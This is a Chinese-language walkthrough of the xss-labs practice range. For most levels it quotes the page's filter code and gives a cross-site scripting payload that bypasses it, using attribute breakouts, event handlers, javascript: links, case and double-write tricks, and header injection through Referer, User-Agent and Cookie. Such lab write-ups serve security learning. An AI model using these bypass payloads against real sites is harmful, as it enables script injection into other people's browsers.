xss-labs练习
1 xss-labs练习
1.1 level-1
通过页面观察test,页面向服务器提交了一个name值,而值就是test,从源码中发现也并未对值进行相关的过滤。
那么这样就可以对URL中name进行新的赋值<script>alert(111)</script>
1.2 level-2
通对页面的URL判断,和第一关基本上是一样的使用GET方式进行参数传递。
使用第一关构建的语句进行测试。发现并无法执行,通过对页面源码查看,发现输入的语句<>均被编码成了实体。这里就可以猜测使用了.htmlspecialchars函数对其提交的参数进行处理。
.htmlspecialchars函数是把一些预定的字符转换为html实体。
字符:
&(和号)成为&
"(双引号)成为 "
'(单引号)成为 '
<(小于)成为 <
>(大于)成为 >
其次可以看到在源码中存有value值并没有被转换,那么就可以对其进行闭合。
闭合前:<input name=keyword value="<script>alert(1)</script>">
闭合后:<input name=keyword value=""><script>alert(1)</script>//">
构建语句:"><script>alert(1)</script>//
解释:“闭合value中等于号后面的”,>闭合value中最后面的>,而且最后面的//是注释后面的语句。
1.3 level-3
第三关和第二关差不多,但是在第二关的时候value是没有.htmlspecialchars函数进行实体化,第三关是在value中添加了函数实体化,所以使用闭合已经无法解决了。
这里就可以使用onclick事件来进行触发绕过。
绕过后:<input name=keyword value=''onclick='alert(1)'>
构建语句:'onclick='alert(1)+单击搜索框
解释:用前面的单引号闭合value等于号后面的单引号,第二关单引号闭合后面的单引号,或者使用//注释后面的单引号。
1.4 level-4
第四关通过输入后对源码查看,一处<>被实体化,还一处<>被过滤。
那么这关其实还是可以使用第三关构建的语句进行弹窗,使用onclick事件来进行触发绕过。
绕过后:<input name=keyword value=""onclick="alert(1)">
构建语句:"onclick="alert(1)+单击搜索框
解释:用前面的双引号闭合value等于号后面的双引号,第二关双引号闭合后面的双引号,或者使用//注释后面的双引号。
1.5 level-5
输入之前使用的构建的几个语句,发现无法正常绕过,后面通过源码发现添加下划线了,并且在源码中针对前面几关绕过的方式进行了过滤。
源码过滤内容:
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
这样的话可以考虑使用超链接来进行实现。
超链接用法:<a href="url">链接文本</a>
构建后:<input name=keyword value=""><a href=javascript:alert(1)>xss</a>">
构建语句:"><a href=javascript:alert(1)>xss</a>+点击xss
1.6 level-6
第六关依旧使用第五关构建的语句进行测试,发现被过滤了。
源码过滤内容:
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
在html中对大小写并不敏感,所以可以考虑使用大小写进行绕过。
构建后:<input name=keyword value=""><a hREf=javascript:alert(1)>xss</a>">
构建语句:"><a hREf=javascript:alert(1)>xss</a>+点击xss
1.7 level-7
本关在测试中发现很多参数都被过滤为空了,通过源码发现把之前测试的内容函数都过滤了。
源码过滤内容:
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
这里过滤只进行了一次,那么就可以使用双写绕过。
构建后:<input name=keyword value="" oonnclick="alert(1)"">
构建语句:" oonnclick="alert(1)"
1.8 level-8
通过测试,依旧是很多函数都被过滤了,同时闭合的双引号也被过滤了。那这里就需要改变一下思路。
源码过滤内容:
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
可以使用工具进行编码,把javascript:alert(1)进行编码转换绕过。
链接:https://pan.baidu.com/s/1c8CuCtbGcyvdQBc0xs9DBA?pwd=wzud
提取码:wzud
构建后:</center><center><BR><a href="javascript:alert(1)">友情链接</a></center><center><img src=level8.jpg></center>
构建语句:javascript:alert(1)
1.9 level-9
通过查看源码发现,除了在原有的过滤基础上还增加了判断是否含有http://。
源码过滤内容:
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
其实这里就可以在第八关构建的语句后面直接添加http://,但是需要在中间加个注释符,否则连接在一起无法正常执行。
构建后:</center><center><BR><a href="javascript:alert(1)//http://">友情链接</a></center><center><img src=level9.png></center>
构建语句:javascript:alert(1)//http://
1.10 level-10
打开页面并未发现存在输入框,并且从源码中发现并未存有input标签内容,那只能去查看一下源码,从源码中发现input是被隐藏了。
源码过滤:
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
通过源码还可以看除了,是对<>进行了实体化,并且无法闭合,那么onclick依旧可以使用,但是由于输入框被隐藏了,在过滤中type=hidden是隐藏,那么就还需要在输入的时候添加一个type=text。
构建后:<input name="t_sort" value=""onclick="alert()" type="text" type="hidden">
构建语句:t_sort="onclick="alert()" type="text
1.11 level-11
本关打开页面依旧是没有输入框,那么使用第十关构建的语句进行测试,发现并没有成功。而且从刚刚第十关跳转过来看到这个属性是referer的。并且从源码中也发现了存在这一条信息。
那么这里就可以针对这个referer进行测试。使用burp抓包进行修改测试,通过抓包发现并没有referer的值,这里可以手动添加,通过测试发现添加的值是能够到t_ref标签的value中的。
那么针对这样可以构建语句进行测试。
构建后:<input name="t_ref" value=""type="text" onclick="alert('xss')" type="hidden">
构建语句:referer:"type="text" onclick="alert('xss')
1.12 level-12
通过这关跳转过来的情况来看和上关不同的是获取内容不一样,上一关是获取我们跳过过来的IP地址,这关是获取我们浏览器的信息。
并且从源码中也能够看出依旧是对<>进行了实体化,无法进行闭合,并且从源码中也看得出,本关的对User-Agent进行传值,那么依旧可以使用第11关构建的语句进行测试。
抓包修改User-Agent的值。
构建后:<input name="t_ua" value=""type="text" onclick="alert('xss')" type="hidden">
构建语句:User-Agent:"type="text" onclick="alert('xss')
1.13 level-13
从源码源码发现第四行变成了cook,这里根据猜想可能是cookie。
直接就抓包搞吧,仿照13关修改cookie,发现无法不行。然后去看了一下其他人文章解释抓包抓到的内容cookie和我的不一样。后面来源码才发现,需要加user。
构建后:<input name="t_cook" value=""type="text" onclick="alert('xss')" type="hidden">
构建语句:Cookie: user="type="text" onclick="alert('xss')
1.14 level-14
本关好像有问题,无法测试。
1.15 level-15
从页面源码中发现,出现了一个ng-include,而ng-include是augular js中的东西,ng-include 指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点。
注意点:
ng-include,如果单纯指定地址,必须要加引号。
ng-include,加载外部html,script标签中的内容不执行,不能加载,如果需要控制器处理需要在主页中注册。
ng-include,加载外部html中含有style标签样式可以识别。
ng-inclue,记载外部html中的link标签可以加载。
那么这里既然是包含外部的html文件,那么是不是就可以将其他html文件,这里就可以使用第一关来进行测试。
构建语句:?src='level1.php?name=<img src=1 onerror=alert(1)>'
1.16 level-16
通过页面能够看到这里是存在一个值位的,那么进行测试,通过测试发现存在过滤。
script,/,空格等都编码成空格字符实体了。
代码过滤:
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
通过这样来看,相关的都被过滤,那么就可以考虑使用一个不需要闭合的标 签,例如。并且由于空格也被转换了,那么可以对空格使用编码%0a来代替。
构建语句:<img%0asrc=1%0aonerror=alert(1)>
1.17 level-17
这关刚遇到的时候有点懵,回来找了一下相关文章才知道,是由于flash没显示出来。
使用基本的弹窗进行测试后,发现代码中的关键字都被编码了。
套用别人的解释,标签就是引入一个swf文件到浏览器端,并且从源码中看,src值是没添加引号,所以这里就不需要闭合。
构建语句:onmouseover=alert(1)
通过测试,这里如果使用火狐浏览器的话,可能要装插件,这边直接就使用ie浏览器。而且当参数与a连在一起就会成为一个连接,加上空格后就可以绕过,这样也能表明当与src分开的时候就可以构建出一个不被编码的语句。
1.18 level-18
这关和第十七关通关方式是一样的。
构建语句:onmouseover=alert(1)
1.19 level-19-20
由于现在flash现在如果访问的话需要装插件,而且这两关涉及的内容比较复杂,搜到的内容,看半天也懵,就不写了。